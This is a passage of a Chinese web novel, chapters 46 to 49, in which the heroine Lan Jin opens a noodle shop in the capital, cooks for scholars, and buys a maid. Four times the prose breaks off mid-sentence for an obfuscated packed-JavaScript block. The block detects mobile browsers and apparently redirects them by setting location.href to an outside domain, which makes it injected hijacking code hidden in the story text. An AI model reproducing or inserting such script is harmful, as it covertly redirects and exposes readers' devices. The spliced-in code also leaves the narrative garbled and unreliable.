等蓝锦回到万年县，可就没有那么轻松了。 “师父，你不打算要我了吗？”江汝月眼眶微红，一副盈盈欲泣的样子。 蓝锦颇为不习惯，她那个倔强沉默的小徒弟去哪里了？ 而且，刚刚那个泼辣收账的大掌柜是谁？ 上一秒还在硬气地赶走要吃霸王餐的杂碎，这下一秒就叫人换了芯子？ “怎么能这么说？我是瞧你管店管得游刃有余，想干脆提拔你做了掌柜。以后你自己开店收账，有什么不好？” “师父原先说，三两日便回来。谁料三天也不回，五日也不归，一去没了音信，竟快小半个月了！一回来，就要撇下我，举家搬去天都......” “哪有这么久！不过是，有些事情要谈......”蓝锦缩了缩脖子，确实是玩得有些不思归了。 好说歹说，最终定下叫李大厨管着蓝记饮食店，每月送一趟分红。江汝月仍跟着蓝锦到天都开店。 李大厨一百个乐意，只因蓝锦许诺每月教他一道菜！ 伙计这里只带走一个桌子，其余人员不变。因桌子奔波张罗养牛的事宜，终于有了眉目，养牛场有了雏形。 事情定下了了，店里最难过的还是顺子他们。 蓝锦给他们每人发了薪水和奖金，有意叫他们不必在此辛苦。 本想建议他们都用这笔钱去书院读书，转念一想，科举考学又是一路伤筋动骨的开销，他们无人托底，终于还是作罢没提。 “顺子，你领着伙伴们，学门手艺也罢，继续做工也罢，全随自身。只记得一点，要堂堂正正地活。若有过不去的坎，要回蓝记求助，万不能走了歪路。” 一群长高了些的小萝卜头不住点头。 只是苦了小秋，蓝锦颇觉歉意——又得给孩子转学了。 想她在存竹书院刚刚结交下几个新朋友，现下就又得离开。 出人意料的是，小秋最后去了一趟书院，回来却是满脸兴奋： “阿姐，我能去川流书院吗？云江望说她去川流书院拜了武师傅，很快就要动身去天都了！” 蓝锦接过小秋手里的几页纸，竟是明翊山长替小秋写给川流书院的举荐信。 上面逐一列了小秋的文武课业情况，夸赞的话洋洋洒洒，精细用心。 末尾甚至还有一处闲笔，说小秋家里的吃食上佳，若汇编成册，堪比陆羽《茶经》。 蓝锦哭笑不得，或许是小秋带去书院的离别礼物——蛋黄酥起了作用。 饼皮酥软，蛋黄咸甜香糯，又把明山长给拿下了吧。 既然明山长能写出举荐信，此事就成了五分。蓝锦珍重地收起信件。 这倒是打瞌睡送枕头，省得她再劳心劳力地挑拣天都的书院了。 走关系托门路，打听学风、同窗，还得考虑师资，最后还不一定满意。得把她头发都愁掉。 ** “这什么味道！真臭啊！” “这明明香着呐。又香又鲜，嗳，我都快醉了！” 蓝锦扎着一个小围裙，站在新租的铺子前头。 这里是东市，虽然门脸不大，租金却贵得吓人，每月总要二两银子。 还是听雪轩吴掌柜从中调和，才拿到的价码。 立契交割之后，蓝记小饭馆就快速开了张。 梁老夫人本坚持要直接盘个酒楼，蓝锦却要一步一步来，先积攒个名声。 开张里用来打声势的便是风靡中外的神奇美食——螺蛳粉。 这种食物吃得不仅是粉，更是配菜，所以发挥空间极大。 蓝锦在店门口支起油锅。新鲜的猪网油，裹上调过味的猪肉、葱和香菇，攥成一个个小球。 此前下油锅呲呲啦啦地炸过，又放进卤水里卤过。 现下又被蓝锦拿出来复炸，直至形成焦脆油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541989|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮的深褐色外壳。 这锅油并没有被浪费，又被拿来炸猪皮，炸腐皮，炸蛋。 原先光滑洁白的猪皮一进滚烫的油锅，就鼓起了大泡，刺啦刺啦地变成淡淡的黄色。 腐皮也是一受刺激就“嘭”地炸开，边缘变得格外焦脆金黄，豆制品的香味在荤油的激发下变得更加诱人。 更不要说那经过两次炸制的炸蛋了，整个蓬得像个圆滚滚的小被子。 蛋丝纤细如发，孔洞蓬松，蛋香四溢，在冒着泡的油锅中不断长大。 蓝锦取一勺这吸足滋味的热油，煎了几个完美如太阳般的荷包蛋。 边缘焦香，中心软嫩，只怕一夹开还是溏心的。 再打开一口装满卤汁的大锅，异香扑鼻。 拿大勺和长筷有条不紊地捞出豆泡、薄卤豆干、卤牛腩块、卤鸭肠、卤鸭脚和卤蛋。 又麻利地捞出坛子里的酸豆角、酸萝卜，“夺夺”切成小粒。 以上这些都一份份放在台子上的盆盆罐罐里，有些还浇上了深红色的、油汪汪的卤汤。 一碗又一碗香味扑鼻、卤汁红亮的卤味一字排开，这还没完，另有葱花、香菜、酸豆角、酸萝卜...... 这阵势，瞬间吸引来了形形色色的客人。 “你家新开的？莫不是专卖卤味熟食的？” “客官，是螺蛳粉。这些是配菜，想尝什么就点什么，都可以往里头加。” 之前吊好的猪骨汤一直热热地咕嘟着，蓝锦一边煮粉，一边舀一勺刚才的荤油，炒腌好的猪肉末。 还不忘宣传：“您看，汤底都是吊的高汤，来一碗试试？” “试试！”现切现做的干净新鲜，人人都看得见。 “给我来一碗。”味道实在是香，看着用料不虚。 蓝锦一一脆声应了，观察着米粉变粗了，便捞出来过了凉水，泡在冷水里。 再把酸笋切丝，姜蒜切片。 起个油锅，把自家腌的泡椒、酸笋丝，以及各色香料调料一股脑扔进去，刺啦啦地爆香。 扔进剪好了尾的田螺，用大火翻炒。 看到加的调料味道融合得差不多了，盖上锅盖小火焖着，闻着味道判断火候。 及至掀开锅盖，螺肉别样的鲜味被完全勾出来。 最后调味翻匀，把这一锅田螺都倒进那锅猪骨高汤里。 不同肉类脂肪混合在一起，这本身就是极致的鲜味。 尤其是做粉类这样容易吸味的美食，更适宜运用这一原则。 蓝锦拿来空心菜和米粉略微过水一烫，盘进一个大海碗。 舀上几勺烫烫的、带着红油的高汤，浇进撒了炸腐皮的米粉碗里。 江汝月笑容满面，捧着托盘，把这碗集天地之精华的豪华螺蛳粉送到了客人面前。又招呼大家随意加自己爱吃的小料。 来客似是刚换班下职的巡卫，大马金刀地往那一坐，夹起一筷子就往嘴里放。 他这一碗加了海量酸豆角，还有猪肉末、炸猪皮、炸蛋和卤鸭脚。 一口高汤喝下去，不臭不冲，他长叹一声：“真鲜，鲜得很！” 47. 第47章 巡卫又去夹碗里硕大的鸭脚。这鸭脚卤过煮过，轻轻一碰一嗦，皱皱的虎皮直接就滑落了。 炸蛋和炸猪皮，无一例外是吸汁吸味那一挂的，一口咬下去，汤汁满口，辣得过瘾，鲜得发抖。 旁边的人还在互相问：“你那加的是什么？” “炸腐皮！又脆又吸汁，泡过就软弹得不行。掌柜的说这个也能加！” “怎么不早说，我也爱吃这个！” 越来越多的人加入螺蛳粉的战局，小铺很快就座无虚席。 在座逐位无一不是吃得鼻尖冒汗，小嘴油亮。 就这还在一口一口地喝那鲜掉眉毛的高汤，一点都停不下来。 待走出螺蛳粉店，路过的人都用异样的眼光瞅着他们瞧—— 蓝记彷佛有什么魔力。这一群人，平时人模狗样。如今个个吃得肚子浑圆，东倒西歪。 大汗淋漓，浑身还散发着一股难以言说的味道。 当事人自己回忆道，或许是叫辣击中了，简直是忘了自己的身份，通体舒泰，放松极了。 消息很快传开。是以，翰林院下值的时候，蒋新神秘地拦住了萧仁禹： “怀瑾，听说了吗？东市新开了一家铺子，卖一种鲜美至极的汤饼。传得神乎其神，吃完人都变了。” 萧仁禹冷淡地看了他一眼，拿着自己的书册，继续往前走。 蒋新又道：“这不是你最爱的东西吗？我可知道，那什么浮生一梦汤饼，就是因你火起来的！你不会是怕我发现你的癖好，所以不敢去试吧？” 萧仁禹本不想与蒋新歪缠，又想分辩，自己并不是那种爱好口腹之欲的庸俗之徒。 谁料蒋新的狐朋狗友都来寻他，打算一道去见识那家神秘的东市小铺。 傲娇的萧二郎君，就叫他们半裹半挟地拉上了马车。 “什么？没了？” “抱歉啊客官，全都卖完了，就剩下这点汤汁子了。” 蓝锦已经在打算安上门板关店。 这小铺子贵是贵了点，可它后头有三间大屋，还带一个小院子。 她便带着小秋和汝月住在这，现下已是打算回家休息吃饭。 萧仁禹叫人拥在后头，听着打头的蒋新和掌柜聊天的话音，莫名觉得有些不对。 这声音好像有点熟悉？像那个撇下小店跑去游玩，害得他好些天没吃上饱饭的蓝小娘子。 “一份都做不出来了吗？” “真没法，您瞧，食材都用尽了。就剩这一筐子生鸡蛋了。客官明日早来！” 蒋新不甘心，他是个不见黄河不死心的人，闻言乱出主意： “老板，你就用汤汁煮了鸡蛋给我吃，我现下就想尝尝味道。要不然我今儿觉都睡不着！” “客官，这汤也是卤味的汤，不是螺蛳粉的汤呀。今儿客人加汤的多，这会儿都用完了。” 其他人还是跟着七嘴八舌地起哄。 萧仁禹迈步向前，清咳两声：“就用这鸡蛋，不拘做点什么菜都行。” 蓝锦惊得下巴都掉下来了：“哎，怎么是......” “不管做不做，都不要再打扰掌柜的了。”萧仁禹先一步转身对着众人，打断了她的话。 蓝锦心下有些奇怪，这群人，怎么也不像海商的气质。莫非是萧公子交游甚广，生意所需？ 她收起蒋新搁在台面上的一锭银子。做菜嘛，倒是简单，只是人头多些罢了。 这些鸡蛋，她不打算做简单的煎炒烹炸，总得弄点不一样的花头出来。 蓝锦取了些姜、蒜苗洗净切末，又先拿出自家腌制好的泡椒，还有茱萸酱，剁得碎碎的。 把那筐鸡蛋都煮了，几个打散。还把自家吃饭的食材都贡献了出来。 水煮蛋捞出过了遍凉水，逐个剥皮。 在干净盘子里薄撒一层淀粉，拿根棉线把鸡蛋切成片，摆在淀粉上。表面再薄撒一层淀粉。 她起锅烧油，用勺背小心地把鸡蛋片推到锅里。 “刺啦”一声，煮熟的蛋，表面煎出了一层薄薄的脆壳，焦黄可人。 待到两面皆是焦脆，就盛出来。补点油，把蒜末、茱萸和姜末用大火爆得香香的。 再把煎好的鸡蛋片倒回锅里，撒盐翻炒。 每一片鸡蛋都裹上了红红的茱萸和金黄的姜末，又被撒上了青蒜末，泡椒酱。 辣香、蛋香一时充满了整间屋子。 一群人高马大的富家公子哥，局促地坐在螺蛳粉味还未散尽的蓝记小饭馆。 某些跟风的人已经有点后悔。可这锅里的香味一出来，注意力立刻给拽回来了。 蓝锦还在快手快脚地做番茄豆腐鸡蛋汤。 番茄炒出沙，蛋花像云像雾翩跹着。豆腐也是水嫩嫩、白嘟嘟的。 汤味咸淡适宜，汤色又是清透净亮的。最后缀上一撮点睛的小葱花，颜色鲜艳勾人口水。 “香煎金钱蛋，各位尝尝。这汤是送的。” 两大份海量的金钱蛋摆上了桌——因为份量太多，最大的盆也装不下。 围成一大圈的人立刻叫这刺激的香味勾住，迫不及待地下筷子。 圆润完整的蛋黄与蛋白铺满了整盘子，带着浅褐的脆皮。 伴着红红的辣椒，炒得黄棕棕的姜蒜苗，油香诱人。 素汤也是热气腾腾，嫩白的豆腐藏在嫣红的浓汤下，刚露出脸就被浅黄的鸡蛋花遮在后面。 绿油油的小葱漂亮，偏还很香。 蒋新夹了一片鸡蛋，好奇地研究了一会，才放进嘴里。 腮帮子鼓起来嚼啊嚼，往嘴里扒了一大口米饭——这米还是去隔壁食店买的。 “又辣！又好吃！这店家有两把刷子！” “嗳，不过是鸡蛋而已，又这么好吃嘛。” “别在那矜持，你不吃就吃不上了。” “真有这么好吃？你们都没吃过鸡蛋？” 一入口，李目便挑不出来刺了。焦脆的鸡蛋皮咸香鲜美，连他最讨厌吃的蛋黄也变得沙糯油润。 他筷子不停，一口接着一口，含含糊糊地大口吃着：“像吃一盘子荷包蛋一样！” 蒋新满嘴蛋裹饭，得意地冲他一挑眉。 一筷子下去，咸香的，脆口的，油焦的。拌上米饭，满足不已。 鸡蛋本身就是极鲜美的，更何况还有一种辣辣的爽口。 这辣味还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541990|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是复杂的，有层次的。 留在舌面的不仅有茱萸的辣，还有腌渍了的泡椒香味，使其更加特别。 满足！ 有人能吃辣，有人就被辣出了眼泪。这时，店主的贴心就显了出来。 吃不了辣的人嘶哈着舌头，盛了碗蛋花汤喝着。 这一喝不要紧，他立刻觉得惊为天人！ “我小时候喝的就是这个味道。” “你可扯吧，人家掌柜的是第一天营业，才来的天都。” “我真不骗你，真是小时候的味道。不信你尝。” “还真是，我小时候也喝过！” “好喝，就是这个味。” 一群人竟然因一碗蛋花汤折服。 若叫蓝锦说，什么小时候的味道，归根结底就是家常的味道，舒服的味道。 所有人都激动万分，除了萧仁禹。 蒋新看一眼这个不合群的万年冰山脸，倒也没觉得奇怪——怀瑾一向对食物不怎么热衷嘛！他挑剔。 肯陪他们来吃饭，已经是很给面子了。 “怀瑾，你那份汤若不想喝，可以给我的。” 萧仁禹看了他一眼，把汤端起来，表示拒绝。 不巧，蓝锦这时候正在上新菜，托盘挡着眼睛，一时不察，碰到了萧仁禹的胳膊。 萧仁禹一时不设防，护住了碗，撞了下蒋新。蒋新手里的汤碗却撒了，泼湿了萧仁禹的书稿。 蒋新内心发出尖锐爆鸣—— 啊！！我的汤！！！ 还有—— 啊啊啊！这可是萧兄的书稿！完了完了，这下萧兄要杀人了。他最宝贝自己的书册了！！ 所有人都安静下来了，小心地看向萧探花——未来的风暴中心眼。 蓝锦也在道歉：“不好意思，不好意思，我先来擦一下......” 萧仁禹却淡淡道：“无妨，这书稿我抄了很多份的。” 蒋新：啊？ 众人：啊？？ 蓝锦：噢......走商还要抄书？好用功啊...... 萧仁禹直接转移了话题，指着蓝锦新送来的托盘：“这是什么，挺香的。” 蓝锦正不知说什么，闻言接口道：“是炸红薯，也可以叫它薯片，粗的叫薯条。可以蘸着番茄酱吃。” 因店里实在没食材了，又收了人家银子。蓝锦翻箱倒柜找出当主食买的红薯，切了薄片粗条，下油锅炸了。 虽然不是土豆做的，谁说红薯不算薯？ 蒋新可并不纠结那许多，立刻拿起一片扔进嘴里——“咔嚓咔嚓咔嚓”。 脆！咸香！想嗦手指！ 一旁的车黎率先拈起一根薯条，蘸了一点番茄酱。 “真不错欸，咸甜适中，从没吃过这样的酥点。” 蓝锦也笑着说道：“各位一尝便知，外面脆脆的，却又不像酥果子一样扎嘴。内芯里，又软软的，比鸡蛋糕还更香软。” 瞬间五六只手一拥而上。 “我爱这红酱，酸甜好味，胜过山楂许多！这酱，我能空口吃，配十个馒头。” 有人吃得摇头晃脑，满满的番茄酱险些把薯条压弯了。 48. 第48章 拜蓝锦刀工所赐，金黄的薯片切得薄薄的。每一片都透着油，沁满了盐味。 嚼上一口，唯有是香！唯有是脆！ 薯条外酥里软，上面薄薄撒了盐粒。金灿灿的，香香的！ 一会功夫就被席卷一空，众人又去向薯片下手。 一时间小店里没有人说话，只有嚼嚼嚼—— 嚼嚼嚼—— 今日的美食之旅本身就神奇不已，这做法，这滋味！ 更神奇的是，待用罢了餐食，一贯清泠远人、两点一线、生活枯燥的萧探花，主动对他们说： “你们先回去吧，我还有些事情要办。” 蒋新拉着八卦的众人先走一步。一群人的眼睛乱飞，没有一个在正常位置的。 “哎，刚才是我听错了吧？萧探花说打湿他的书稿不要紧！” “你没听错！蒋兄，怀瑾不是最讨厌人家动他的书了吗？” “你瞧人家刚刚说的什么，‘无妨，抄了很多份’！嗳，萧兄对咱们可不是这样。” “啧啧，现下还有事情。有什么事要撇开我们？” 这帮人没有一个愿意走。萧仁禹走出蓝记小馆时，看到的就是一片好奇的眼神。 他本没什么事。只是想问一问蓝小娘子，何时打算来天都开店的，如何不知会他一声？ 蓝锦理直气壮又满腹诧异：“想来便来了，萧大公子长年跑商，又不在天都，我去哪里寻你告诉？” ** “阿姐！我得了红章子，是背诗背来的！” 小秋依然挎着她的小书包，这包放在天都城也是独一份。 蓝锦惊喜道：“是嘛！小秋这么棒的，饿不饿？” 云江望跟在后头，好朋友第一天上学，年纪又小，是以她骑了马，把小秋送了回来。 两人虽戴了暖帽，仍叫初冬的风吹得双颊通红。蓝锦递上新煮好的甜红豆汤，一人一碗，给她们暖暖身子。 “蓝姐姐，小秋可厉害了。旁人都接不上的句子，唯她一人站起来答上了。” “是哪一句呀？”蓝锦笑眯眯地瞧着小秋，她穿着一身鹅黄袄裙，胸前绣了一只白兔子，活泼生动。 小秋就像个灵活的小兔子，摇头晃脑道：“夜雨剪春韭，新炊间黄粱！是阿姐的招贴画上的，我一听就知道了！” 蓝锦“噗嗤”一笑，这可真是歪打正着。 万年县的蓝记饮食店，散宣传画的习惯保留了下来，定期翻新。 蓝锦偶尔会作主添一两笔，这句诗还是她手把手教小秋写的。 冒着夜雨，剪下春日青嫩的新韭。黄米饭也是新煮好的，是用这样的热情和心意招待远客。 这首杜工部的诗，闻名的不在这一句。首句的“人生不相见，动如参与商”，才是闻者怅然，泪出痛肠。 参商永隔......商星在东，参星在西，彼此相隔十二小时，永不相见。 蓝锦不禁想到安琴。琴姐姐远在昭应，如今，她们也是各过各的生活，许久未见了。 她在心里叹了口气，又换上一副笑颜：“今儿家里可没饭了，咱们一起下馆子，如何？” 也算是顺道谢一谢云江望对小秋的照顾。 “好耶！”同阿姐一起去冒险，一直是小秋的最爱。她积极地放下小书包，帮阿姐一块关门。 “汝月姐姐去哪里了？她不跟我们一道去吗？”小秋踮着脚尖往内院看，没找着人。 “她一早用罢了饭，去牙行寻人了。” 谁也没想到第一日的生意就这样好，两人根本看顾不过来。 眼看快卖完了，蓝锦替换下忙得脚不沾地的江汝月，给她盛了一碗加料满满的螺蛳粉。 催她快吃了，去牙行找些合适的人，学徒也罢，女婢也好。 下馆子的去处要靠云江望，她对天都更为熟悉。因她比蓝锦她们早来了些时日，现下是寄住在祖母的母家。 蓝锦也是在百味宴之后才知晓，作为评委之一的连松琦，竟然是云江望的祖母。 连松琦是正经的天都高门贵女，出身天都五大族之一的连家。 在人际简单、远离朝堂的云家待到这把年纪，依旧不改娇憨。 然而一心尚武的云江望，非要承继云老将军的衣钵。 本打算就这样一直退居小城的云父拗不过其他人，睁一只眼闭一只眼，放女儿到天都，折腾连家去了。 “就去汇贤居！这家的点心极好吃，夏日里有冰糖酥酪，可有名了！如今倒也有些定胜糕、乳糖糕、龙须酥......” 汇贤居也在东市，姐妹三个走几步就到了。 蓝锦点了一道酒香桂花鸡，一碟萝卜丝烧饼，一道素什锦团子，还额外点了一份蜂巢酥。 小秋喜欢吃菜团子，这道素团子便是给她点的。 云江望无肉不欢，一上来就举荐了汇贤居的招牌桂花鸡。 蓝锦则是好奇，蜂巢酥，是不是她想的那一种？ 此点虽名声不显，做法却复杂精细。想来不是识货的老饕，轻易也没人点。 “客官，蜂巢酥一份！您的菜齐了，慢用哈——” 伙计小蜜蜂似的，一路打着转，捧来一个高脚的雕花白玉碟。 这道小点有着蓬松如蜂窝状的外壳，里层是芋泥皮子，中心满是半流动、半固态的山菇碎。 顶顶要紧的是包这点心的手法。精心调了味道的山菇，娇嫩多汁，不易成型。却还要用掺了米粉、软烂的熟芋头泥来包裹。 这还没完，为了炸出蓬松如云朵，饱满如蜂巢，焦脆似烟花，灿黄似金玉的外壳，须得大灶猛火，又把油温控制得精熟。 当初做这道菜时，蓝锦饱受折磨，不知炸坏了多少蘑菇，含泪吃了多少面粉。 蓝锦瞧着这高脚盘上金黄的酥点，倒觉得有几分熟悉的感觉。 她拿起竹箸，从盘子里搛起一枚，举到眼前细细观察。 小巧玲珑的，像沉压枝头的一簇黄栌果子，像杏缃色的美人握。 送入口中，像躺在天涯海角的甲板上，把泼天的碧海挥手冻住。 一咬，便轻轻落下钻石样的汹涌水粒，簌簌喳喳地炸开。 慢品却是焦黄温暖的小火花，纠缠着温吞柔软、轻拨缓行又笼罩四方的细吻。 为那亦小亦强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541991|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的惊喜所震慑，蓝锦一时没说出话来。 这味道虽然和她曾经学的不尽相同，大概也有五六分像了。 她几乎想去灶间扒拉出这位神秘的大厨，跟人家对一对暗号：“奇变偶不变。” 蓝锦真去打听了，却听说人家连中原官话都不会讲。是刚蒙大赦，举家从岭南流放之地回来的。 祖辈原在天都做官，费尽周折才重回故土。 她还托人问了，薯条该蘸什么酱？伙计回说实在不知。蓝锦只好作罢。 就让她这个异乡人，在此勇敢求生吧。 蓝记小馆的开张稍显仓促，只因蓝锦一刻也等不及。 万年县蓝记饮食店的账面收益虽多，可雇员薪资、分红，进货的尾款，还有日常运转，样样要使银子。 蓝锦手上的流动资金，满打满算不过一百多两。 梁老夫人倒是慷慨，大手一挥，给了蓝锦五百两银子。 可做生意也要精打细算，何况她们是初来乍到。 所以蓝锦连人都没雇，就自己莽着上了。 事实证明，没了落霞村婶娘们的帮衬，还有主动送上门来的徒子徒孙，独木实在难支呀！ 于是，满足的一餐用罢，姐妹俩挥别打马离去的云江望，去了西市的奴仆市场。 李牙人满面堆笑：“掌柜的，要雇何种婢仆？是贴身伺候人的，听差跑腿的，还是凑趣唱曲的？我这里可连胡国的舞姬都有！” 蓝锦神秘一勾唇：“都不要。要能吃能睡的女孩，沾枕就着的，最好一顿能吃十个馒头的。” 李牙人一句话梗在喉间，笑容凝在脸上：“掌柜的不是来消遣人的吧，这，这不是砸我招牌吗？” 蓝锦摇摇头，重又道：“我自有道理。我点名要这样的，不会翻过脸来编排你的不是。” 李牙人眼珠一转，笑呵呵地说：“这可不是巧了么！刚刚来一个丫头，生能举起一个大水缸！” 忙不迭叫人把五丫喊来给蓝锦瞧瞧，口中还道：“只是乡野间没人教没人养......缺嘴那么一点点，和掌柜的正正有缘呐！” 来人身长五尺，身形却消瘦了些，小脸瘦黄的，警惕的小拳头却很结实。 唔，这简直是个身高一七五的女篮小妹妹！ 蓝锦探头探脑地捏捏人家的大臂，嚯，是肌肉！ “就她了。”蓝锦一锤定音。 “掌柜的眼光好，这可是我这最好的小婢了！” “你我有缘，不赚你的钱，五两银，五两银，您带走！呵呵。”李牙人笑得见牙不见眼。 这金牙齿老头！蓝锦瞥了他一眼，心里无力吐槽，又不想贬损女孩子来压价。 “我刚从东市过来，人家那头的牙行也来了一批人。年纪差不多的，要价不过一二两。你这边不像诚心做生意，倒像赶客。” “掌柜的这是怎么话说？没有的事，没有的事啊。城东的人，也就是面上光，底子不一定怎样的。” 蓝锦仍道：“我做生意都是长久打算，若是合作成了，少不得经年累月地光顾。而且，人家东市的牙行可没说一句别家的不是，我还是上那看看吧。” 49. 第49章 “掌柜的留步，留步，这样，三两，就三两，这就签契子！” 不是李牙人好说话，实是这太能吃了。好容易宰个冤大头，谁知道人家不干。 蓝锦将将走到门口。脚步不停，一抹脸，眉梢一翘：“一两银。” 李牙人只作捶胸顿足状，连连说道：“不能够，这可不能够！” 只见蓝锦坚决地拐出门了，只好把她叫回来。 最后二人你争我执，以二两的价格签了契子。 蓝锦把身契往怀里一揣，扬起小脸，携起五丫的手，昂首阔步地走了。 还好她执着，看老板肉痛的表情，应是砍到底价了。 家中带来的被褥尽够。回去的路上，蓝锦领着五丫，买了两身替换成衣。 一回到家，就见着汝月蹲在门口石阶子上。蓝锦一拍脑袋，忘了给小徒弟带钥匙了。 “这般冷，快快进屋。”蓝锦揉揉汝月的脑袋，问她：“怎么回来得这样早？” 汝月打了个哈欠，答道：“要价太贵了，又没有年纪合适的。” 买人也不是一件简单的事，好在已经家里已经添了一个人。 蓝锦把五丫跟汝月安排到一屋，现下她有了个更体面的名字：悟雅。 悟雅确实有把子力气，及腰的大坛子，她轻轻松松地搬上搬下。杀鱼杀鸡、压竹升面也是不在话下。 蓝锦瞧着她的腱子肉，打心底里喜爱。 因为多了个大力帮手，蓝锦心思就活泛了起来。 转眼间天都下了第一场雪，蓝记小馆应景地上了热腾腾的烤鱼。 冬日里，寻常泛舟水上的渔民已经收网歇渔，连水产行的商人都挂牌停业了。 但专有一群人热衷冰钓，在冰面上凿了个洞，抛了饵食下去钓鱼。 刺骨的河水冻得鱼肉越发紧实鲜甜。蓝锦打听得买鱼的去处，花了大价钱买回来。 每条都水灵鲜活的，拎起来还甩着尾，激起一弧线的水。 “就像那大户人家引了地热泉的水，才养得这样好的鱼。” 悟雅正在给小秋扎小揪揪，这些时日，她也狠涨了见识。 蓝锦点头：“是稀有了些，又是鲜货，所以别的食店不敢做。” 这就显得出蓝记的可贵了。旁处吃不到，总有人愿来蓝记尝尝鲜。 往来天都的商队，卖的货品也更多样。蓝锦打算用五十文一两的川南花椒，百文一两的辣椒，去配这鲜鱼。 先炸后烤，配上豆皮、豆芽、宽粉和白菘。 热腾腾的烤鱼刚端上桌的时候，萧仁禹便独个儿转进了蓝记。 蓝锦热情道：“萧郎君可要尝尝烤鱼？这一锅可是下了十足的功夫，光是成本就要几百文。搁别家酒肆，恐怕一两银子一份都买不到。” 萧仁禹听从安排，搁下一枚沉甸甸的银子，自去寻屏风之后的位子坐了。 不多时，悟雅就戴着两只棉布手套，拎着扁长的铁锅子来上菜了。 炭火的焦香萦绕，热闹的锅气使得鲜美的鱼香更诱人几分。 赤红麻辣的调料味猛地钻进鼻腔里，叫人觉着要呛不呛的，又忍不住咽口水。 鱼皮已经烤得十分焦脆了，那密密挨挨鼓起的小泡，每一个都吸汁得厉害。 鱼身一半浸润在红亮亮的汤汁里，露出的那一半上缀满了辣椒、葱花，和蓝锦花了大价钱的藤椒串。 萧仁禹心中雀跃，筷尖稍一用力，嫩白的鱼肉扯着焦香的鱼皮一起剥落。 他还要把鱼肉在浓郁的汤汁里头泡上一泡。白肉立刻着色，红油侵染满身。 入口是鱼肉的爽滑肥嫩。舌头经了一瞬间的反应，才骤然感到一种排山倒海涌来的辛辣麻香。 青藤椒是炸了油的，那股子麻香特别，无可替代。 辣椒的辣味，又是直接席卷口腔。嘴巴里的每一处，都让这股鲜香麻辣摄住了。 舌尖的麻味尤其爱驻留，鲜美的汤汁又勾起新一轮口水分泌。 这股热意从喉头一路冲到胃里，四肢百骸骤然像炸雷一样渗出细汗。 明明吃得面色赤红，手上的筷子却有自己的想法，根本不见停的。 萧仁禹已顾不上形象，小口小口、嘶哈嘶哈地喘气。白玉般的脸颊飞红，连眼角都带了一丝潮意。 蓝锦在忙碌之余，偷眼去瞧这位优雅郎君—— 这人正举着杯子半掩其面，彷佛想用白瓷的冰冷，去给红肿的嘴唇降温。 蓝锦心下好笑，好心地给他端来一碗甜牛奶：“喏，第一次吃这么辣，是会这样的。” ** “到了！就是这儿，清珩，你不去吗？”易润瑶撩起车帘子，扭过头来问里头那个似在犹豫的青袄裙女娘。 “我去！我怎么不去！”萧清珩把鞭子藏在胡服小袄底下，率先蹦下了马车。 “素秋，这真是你们家？瞧着虽不太显眼，想不到能做出这样好的牛乳糕！”丁耀琼问道。 小秋点了点头。她仍是跟着云江望骑马回的。 阿姐说了，待她多吃多长长个子，翻过了年，就也给她买一匹小马驹。她可期待了。 给书院同窗师长带小点，是蓝锦养娃的独门秘籍。辗转了这么多书院，就没有不奏效的。 “咱们快进去吧，阿姐肯定等着我们了，今天有烤鱼吃的！” 小秋举着还有婴儿肥的小胳膊一挥，领着一群姐姐们进了蓝记小馆。 “哇，好香啊！” “这个味道，你们闻到了吗？” “好想吃，这辣味好浓！” 萧清珩则是完全叫红糖米粑吸引住了。 粘稠的红糖汤底甜甜的，里头的白米粑糯糯的，有点沾牙，却又是滑嫩的。 伴着糖汁子吃进去一口，微苦的甜蜜配上米香味，舌头一抿，充斥口腔。 胃里熨帖了，萧清珩也渐渐放松下来，把今日武学课上输给云江望的那点子不甘抛至脑后。 “烤鱼的皮竟是脆的，听这个名字，我还当是乌黑的，炭火里头拿出来的。” 她又一筷子下去，连皮带肉扯掉一块。煎得金黄酥脆的鱼皮吸满了汤汁和香气。 咬下去，那股子焦脆感让人欲罢不能。 滋出来的鱼汤裹住了原本嫩白无味的鱼肉，清淡和刺激交替登场，两种口感搭配得刚好。 蓝锦花在香料上的每一分银子都起了作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 